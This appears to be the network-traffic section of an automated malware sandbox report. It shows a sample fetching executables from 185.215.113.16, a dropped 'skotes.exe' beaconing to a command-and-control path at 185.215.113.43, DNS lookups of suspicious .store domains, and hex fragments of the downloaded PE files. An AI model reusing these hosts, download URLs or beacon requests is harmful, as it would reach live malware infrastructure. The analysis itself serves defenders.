Nov 1, 2024 12:15:04.949245930 CET	443	50015	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:04.952346087 CET	80	50014	34.107.221.82	192.168.2.7
Nov 1, 2024 12:15:04.986677885 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.987757921 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:05.185674906 CET	50016	443	192.168.2.7	35.244.181.201
Nov 1, 2024 12:15:05.185722113 CET	443	50016	35.244.181.201	192.168.2.7
Nov 1, 2024 12:15:05.186422110 CET	50016	443	192.168.2.7	35.244.181.201
Nov 1, 2024 12:15:05.186522961 CET	50016	443	192.168.2.7	35.244.181.201
Nov 1, 2024 12:15:05.186534882 CET	443	50016	35.244.181.201	192.168.2.7
Nov 1, 2024 12:15:05.186801910 CET	443	50012	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:05.186913013 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:05.188088894 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:05.188098907 CET	443	50012	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:05.188354015 CET	443	50012	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:05.248706102 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:05.263020992 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:05.263042927 CET	50012	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:05.263169050 CET	443	50012	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:05.363205910 CET	50017	443	192.168.2.7	34.160.144.191
Nov 1, 2024 12:15:05.363253117 CET	443	50017	34.160.144.191	192.168.2.7
Nov 1, 2024 12:15:05.363332033 CET	50017	443	192.168.2.7	34.160.144.191
Nov 1, 2024 12:15:05.363465071 CET	50017	443	192.168.2.7	34.160.144.191
Nov 1, 2024 12:15:05.363480091 CET	443	50017	34.160.144.191	192.168.2.7
Nov 1, 2024 12:15:05.414177895 CET	443	50011	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:05.414280891 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.414906979 CET	443	50011	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:05.415011883 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.419573069 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.419580936 CET	443	50011	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:05.419658899 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.419754982 CET	443	50011	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:05.420070887 CET	50018	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.420099020 CET	443	50018	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:05.420128107 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.420360088 CET	50018	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.421905994 CET	50018	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:05.421915054 CET	443	50018	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:05.548141956 CET	80	50014	34.107.221.82	192.168.2.7
Nov 1, 2024 12:15:05.549904108 CET	50014	80	192.168.2.7	34.107.221.82
Nov 1, 2024 12:15:05.551058054 CET	443	50015	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:05.551075935 CET	443	50015	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:05.555355072 CET	80	50014	34.107.221.82	192.168.2.7
Nov 1, 2024 12:15:05.558212042 CET	443	50013	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:05.558229923 CET	443	50013	34.117.188.166	192.168.2.7
Nov 1, 2024 12:15:05.565278053 CET	50014	80	192.168.2.7	34.107.221.82
Nov 1, 2024 12:15:05.565346003 CET	50015	443	192.168.2.7	34.117.188.166

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 12:13:09.597548962 CET	192.168.2.7	1.1.1.1	0x16c8	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.612751007 CET	192.168.2.7	1.1.1.1	0x3f08	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.623605967 CET	192.168.2.7	1.1.1.1	0xdf95	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.635099888 CET	192.168.2.7	1.1.1.1	0x554e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.645585060 CET	192.168.2.7	1.1.1.1	0xcca2	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.283258915 CET	192.168.2.7	1.1.1.1	0x1bb5	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.294512033 CET	192.168.2.7	1.1.1.1	0x7f7b	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.304532051 CET	192.168.2.7	1.1.1.1	0x2895	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.314476013 CET	192.168.2.7	1.1.1.1	0x1af9	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:01.931504965 CET	192.168.2.7	1.1.1.1	0xc580	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:01.972148895 CET	192.168.2.7	1.1.1.1	0xfe6c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 12:15:02.982825994 CET	192.168.2.7	1.1.1.1	0x85d8	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:02.993908882 CET	192.168.2.7	1.1.1.1	0x6d65	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:03.001256943 CET	192.168.2.7	1.1.1.1	0xd3bd	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 1, 2024 12:15:03.972620010 CET	192.168.2.7	1.1.1.1	0x8bb1	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.116255045 CET	192.168.2.7	1.1.1.1	0xb423	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.418792963 CET	192.168.2.7	1.1.1.1	0x6d05	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.431272984 CET	192.168.2.7	1.1.1.1	0x5237	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.538687944 CET	192.168.2.7	1.1.1.1	0x861f	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.550870895 CET	192.168.2.7	1.1.1.1	0x2ef7	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.563462973 CET	192.168.2.7	1.1.1.1	0x4a54	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.936343908 CET	192.168.2.7	1.1.1.1	0xd039	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.938023090 CET	192.168.2.7	1.1.1.1	0xe3f6	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.938193083 CET	192.168.2.7	1.1.1.1	0xac1e	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.950114965 CET	192.168.2.7	1.1.1.1	0x2136	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 12:15:04.950402021 CET	192.168.2.7	1.1.1.1	0x8e7e	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 12:15:04.952004910 CET	192.168.2.7	1.1.1.1	0x54b4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 12:15:05.186340094 CET	192.168.2.7	1.1.1.1	0x7f58	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.207362890 CET	192.168.2.7	1.1.1.1	0xca09	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 12:15:05.354604959 CET	192.168.2.7	1.1.1.1	0x2ebf	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.363331079 CET	192.168.2.7	1.1.1.1	0x222	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.379914045 CET	192.168.2.7	1.1.1.1	0xc49f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 12:15:05.733978033 CET	192.168.2.7	1.1.1.1	0x37d8	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.734369040 CET	192.168.2.7	1.1.1.1	0x487a	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:06.143583059 CET	192.168.2.7	1.1.1.1	0xf458	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:38.634891987 CET	192.168.2.7	1.1.1.1	0x32aa	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:39.118974924 CET	192.168.2.7	1.1.1.1	0x8887	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:39.402906895 CET	192.168.2.7	1.1.1.1	0xa59a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:39.913604021 CET	192.168.2.7	1.1.1.1	0xdd59	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 12:13:09.606801033 CET	1.1.1.1	192.168.2.7	0x16c8	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.621511936 CET	1.1.1.1	192.168.2.7	0x3f08	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.632962942 CET	1.1.1.1	192.168.2.7	0xdf95	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.643536091 CET	1.1.1.1	192.168.2.7	0x554e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.660970926 CET	1.1.1.1	192.168.2.7	0xcca2	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:13:09.660970926 CET	1.1.1.1	192.168.2.7	0xcca2	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.292248964 CET	1.1.1.1	192.168.2.7	0x1bb5	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.303515911 CET	1.1.1.1	192.168.2.7	0x7f7b	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.313453913 CET	1.1.1.1	192.168.2.7	0x2895	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:14:43.323805094 CET	1.1.1.1	192.168.2.7	0x1af9	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:01.914467096 CET	1.1.1.1	192.168.2.7	0x7fac	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:01.938941956 CET	1.1.1.1	192.168.2.7	0xc580	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:02.990144014 CET	1.1.1.1	192.168.2.7	0x85d8	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:03.000701904 CET	1.1.1.1	192.168.2.7	0x6d65	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:03.008047104 CET	1.1.1.1	192.168.2.7	0xd3bd	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 1, 2024 12:15:04.532062054 CET	1.1.1.1	192.168.2.7	0x5237	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:15:04.532062054 CET	1.1.1.1	192.168.2.7	0x5237	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.532237053 CET	1.1.1.1	192.168.2.7	0xb423	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:15:04.532237053 CET	1.1.1.1	192.168.2.7	0xb423	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.532358885 CET	1.1.1.1	192.168.2.7	0x6d05	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.534508944 CET	1.1.1.1	192.168.2.7	0x8bb1	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.547758102 CET	1.1.1.1	192.168.2.7	0x861f	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.560312033 CET	1.1.1.1	192.168.2.7	0x2ef7	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.579912901 CET	1.1.1.1	192.168.2.7	0x4a54	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.943511009 CET	1.1.1.1	192.168.2.7	0xd039	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.945389986 CET	1.1.1.1	192.168.2.7	0xe3f6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.947171926 CET	1.1.1.1	192.168.2.7	0xac1e	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:04.957132101 CET	1.1.1.1	192.168.2.7	0x8e7e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 12:15:05.184844017 CET	1.1.1.1	192.168.2.7	0xe505	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:15:05.184844017 CET	1.1.1.1	192.168.2.7	0xe505	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.193778038 CET	1.1.1.1	192.168.2.7	0x7f58	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.361615896 CET	1.1.1.1	192.168.2.7	0x2ebf	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:15:05.361615896 CET	1.1.1.1	192.168.2.7	0x2ebf	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:15:05.361615896 CET	1.1.1.1	192.168.2.7	0x2ebf	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.370242119 CET	1.1.1.1	192.168.2.7	0x222	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.387228966 CET	1.1.1.1	192.168.2.7	0xc49f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 12:15:05.740767956 CET	1.1.1.1	192.168.2.7	0x37d8	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.740883112 CET	1.1.1.1	192.168.2.7	0x487a	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:05.740883112 CET	1.1.1.1	192.168.2.7	0x487a	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:06.152262926 CET	1.1.1.1	192.168.2.7	0xf458	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:15:06.152262926 CET	1.1.1.1	192.168.2.7	0xf458	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:38.643794060 CET	1.1.1.1	192.168.2.7	0x32aa	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:39.127845049 CET	1.1.1.1	192.168.2.7	0x8887	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:39.523452997 CET	1.1.1.1	192.168.2.7	0xa59a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:15:39.924541950 CET	1.1.1.1	192.168.2.7	0xdd59	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49772	185.215.113.16	80	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:13:26.674843073 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:13:27.579005957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:13:27 GMT Content-Type: application/octet-stream Content-Length: 2787328 Last-Modified: Fri, 01 Nov 2024 10:15:56 GMT Connection: keep-alive ETag: "6724aa5c-2a8800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 e1 c8 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@jvktfkik@(:@lwlhqnbq b@.taggant@+"f@
Nov 1, 2024 12:13:27.579127073 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.579138041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.579360962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.579377890 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.579829931 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.579843044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.580219030 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.580235958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:13:27.580250025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6F6+>+P2={7zA54qNO)>N.Xn{T1& zE##@.Vi ~[3T2,!y1<5.2z
Nov 1, 2024 12:13:27.584054947 CET	1236	IN	Data Raw: 26 fd e0 1c d7 29 2f 25 a6 82 cc 2d 63 a8 9a 05 64 31 f0 54 8e 32 56 3f 96 c9 11 7f 94 1b 08 33 92 84 fa b3 ad 0a f9 2a f5 12 60 eb 9b 45 59 c9 f9 03 f9 b4 9a e5 fb 26 c5 ca 12 dc ff da 1e bd b8 3f 23 3f 8a e7 6f d7 53 16 e4 8e 7c 54 a4 01 24 a1 Data Ascii: &)/%-cd1T2V?3`EY&?#?oS\|T$yM;+XSli+&?'+9ZA06tK8;;7<\|3GD&k{=Up<Fo<z*w'\|Vb^%Nyy?0b2
Nov 1, 2024 12:13:30.432976007 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:13:30.711436987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:13:30 GMT Content-Type: application/octet-stream Content-Length: 1884672 Last-Modified: Fri, 01 Nov 2024 10:54:05 GMT Connection: keep-alive ETag: "6724b34d-1cc200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J]@WkDPdJdJ @.rsrcD@.idata @ *@npluczcb0@cveucipfpJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49977	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:33.795434952 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:14:34.703681946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49978	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
